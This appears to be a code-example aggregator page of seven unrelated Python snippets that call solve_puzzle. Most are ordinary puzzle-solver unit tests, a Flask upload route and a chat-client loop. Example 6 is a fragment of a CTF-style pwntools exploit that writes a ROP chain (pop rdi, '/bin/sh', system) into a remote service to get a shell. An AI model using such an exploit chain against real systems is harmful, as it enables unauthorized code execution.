Ejemplo n.º 1
0
 def test_fits_none(self) -> None:
     """A piece with no matches has no fits."""
     piece1 = Piece(Shape.SPADE, Shape.DIAMOND, Shape.SPADE, Shape.DIAMOND)
     piece2 = Piece(Shape.CLUB, Shape.HEART, Shape.CLUB, Shape.HEART)
     assert str(piece1) == "Red-♠♦♤♢"
     assert str(piece2) == "Red-♣♥♧♡"
     assert solve_puzzle(1, 2, (piece1, piece2)) == set()
Ejemplo n.º 2
0
    def test_fit_top_bottom(self, piece4: Piece, piece9: Piece) -> None:
        """A piece with one possible matching side fits 8 ways."""
        assert str(piece4) == "Red-♦♣♧♢"
        assert str(piece9) == "Red-♥♠♤♧"
        expected_orientations = [
            (piece9, False, Turn.TURN_270, piece4, False, Turn.TURN_270),
            (piece9, False, Turn.TURN_270, piece4, True, Turn.TURN_90),
            (piece4, False, Turn.TURN_90, piece9, False, Turn.TURN_90),
            (piece4, False, Turn.TURN_90, piece9, True, Turn.TURN_270),
            (piece9, True, Turn.TURN_90, piece4, False, Turn.TURN_270),
            (piece9, True, Turn.TURN_90, piece4, True, Turn.TURN_90),
            (piece4, True, Turn.TURN_270, piece9, False, Turn.TURN_90),
            (piece4, True, Turn.TURN_270, piece9, True, Turn.TURN_270),
        ]
        expected = [
            Puzzle(1, 2,
                   (OrientedPiece(p1, f1, t1), OrientedPiece(p2, f2, t2)))
            for p1, f1, t1, p2, f2, t2 in expected_orientations
        ]
        assert sorted(expected) == expected
        puzzles = solve_puzzle(1, 2, (piece4, piece9))
        assert puzzles == set(expected)
        assert (str(expected[0]) == """\
┌♠┐
♥R♤
├♣┤
♦R♧
└♢┘\
""")
Ejemplo n.º 3
0
    def test_fit_left_right(self, piece4: Piece, piece9: Piece) -> None:
        """A piece with one possible matching side fits 8 ways."""
        assert str(piece4) == "Red-♦♣♧♢"
        assert str(piece9) == "Red-♥♠♤♧"
        expected_orientations = [
            (piece4, False, Turn.NO_TURN, piece9, False, Turn.NO_TURN),
            (piece4, False, Turn.NO_TURN, piece9, True, Turn.TURN_180),
            (piece9, False, Turn.TURN_180, piece4, False, Turn.TURN_180),
            (piece9, False, Turn.TURN_180, piece4, True, Turn.NO_TURN),
            (piece9, True, Turn.NO_TURN, piece4, False, Turn.TURN_180),
            (piece9, True, Turn.NO_TURN, piece4, True, Turn.NO_TURN),
            (piece4, True, Turn.TURN_180, piece9, False, Turn.NO_TURN),
            (piece4, True, Turn.TURN_180, piece9, True, Turn.TURN_180),
        ]
        expected = [
            Puzzle(2, 1,
                   (OrientedPiece(p1, f1, t1), OrientedPiece(p2, f2, t2)))
            for p1, f1, t1, p2, f2, t2 in expected_orientations
        ]
        assert sorted(expected) == expected
        puzzles = solve_puzzle(2, 1, (piece4, piece9))
        assert puzzles == set(expected)
        assert (str(expected[0]) == """\
┌♦┬♥┐
♢R♣R♠
└♧┴♤┘\
""")
Ejemplo n.º 4
0
def solve():
    piece_filename = os.path.join(app.config['UPLOAD_FOLDER'], secure_filename(request.files['piece'].filename))
    board_filename = os.path.join(app.config['UPLOAD_FOLDER'], secure_filename(request.files['board'].filename))
    request.files['piece'].save(piece_filename)
    request.files['board'].save(board_filename)
    results = puzzle.solve_puzzle(piece_filename, board_filename)
    return Response(json.dumps([{'x':int(x),'y':int(y)} for x,y in results]), content_type='application/json; charset=utf-8')
Ejemplo n.º 5
0
def get_response(server_socket):
    """
	This function handles the response of the server to a client's request. If at any point connection is lost
	with the server then it prints an error message and terminates the program.
	
	Once the function receives a package it checks whether the server uses the same version with the client. If not it 
	prints an error message in the log file and terminates.
	
	Arguments:
		server_socket: the socket through which the client speaks with the server.
	"""
    while True:
        try:
            # import pdb; pdb.set_trace()
            buf = server_socket.recv(1024)
        except:
            print 'Lost connection with the server.'
            logging.critical('lost connection with the server.')
            sys.exit()

        if len(buf) != 0:
            end_time = time()
            package = protocol_pb2.Server2Client()
            package.ParseFromString(buf)

            if package.version == VERSION:
                if package.opcode == 20:
                    print("SOLVE PUZZLE NOW...")
                    puzzle.solve_puzzle(package.puzzle_level, package.puzzle)
                    print("PUZZLE SOLVED...")
                    # import pdb; pdb.set_trace()
                    if package.puzzle_level == CREATE_CODE:
                        ### response something here
                        chatClientSnd.create_approved(VERSION, server_socket)
                    return end_time
                else:
                    if package.puzzle_exist:
                        # print ("SOLVE PUZZLE NOW...")
                        # puzzle.solve_puzzle(package.puzzle_level, package.puzzle)
                        # print ("SOLVED...")
                        print("SOLVE PUZZLE NOW...")
                        t = Thread(target=puzzle.solve_puzzle,
                                   args=(
                                       package.puzzle_level,
                                       package.puzzle,
                                   ))
                        t.start()
                    try:
                        OPCODES[package.opcode](server_socket, package.msg)
                        if package.puzzle_exist:
                            t.join()
                            print("PUZZLE SOLVED...")
                        return end_time
                    except:
                        logging.critical(
                            'unexpected fatal error occurred. Check client get_response.'
                        )
                        sys.exit()
            else:
                logging.critical('server uses a different version.')
                sys.exit()
        else:
            logging.critical('connection to server lost at get_response')
            print "Server is down."
            sys.exit()
Ejemplo n.º 6
0
if args.D:
    debug(r, [0xad1, 0x940])

r.sendline('u'*(0x9b-0x47)) 
for i in range(0x9b-0x47-1):
    r.recvuntil('> ')
    # r.sendlineafter('> ', 'u')

def set_num(num):
    ret = ["c0u", "c1u", "c2u", "c3u", "c0d", "c1d","c2d","c3d","r0r","r1r","r2r","r3r","r0l","r1l","r2l","r3l"]
    return ret[num]

def input_num(number):
    for i in range(0, 0x10, 2):
        dig1 = (number>>(i*4)) & 0xf
        dig2 = (number>>((i+1)*4)) & 0xf
        r.sendlineafter('> ', set_num(dig2))
        r.sendlineafter('> ', set_num(dig1))
    
input_num(rdi)
input_num(binsh)
input_num(0xdeadbeef)
input_num(rdi+2)
input_num(system)
# r.interactive()

context.log_level = 'debug'
solve_puzzle(r)

Ejemplo n.º 7
0
 def test_no_fit_self(self, piece4: Piece) -> None:
     """A piece doesn't fit itself."""
     assert solve_puzzle(1, 2, (piece4, piece4)) == set()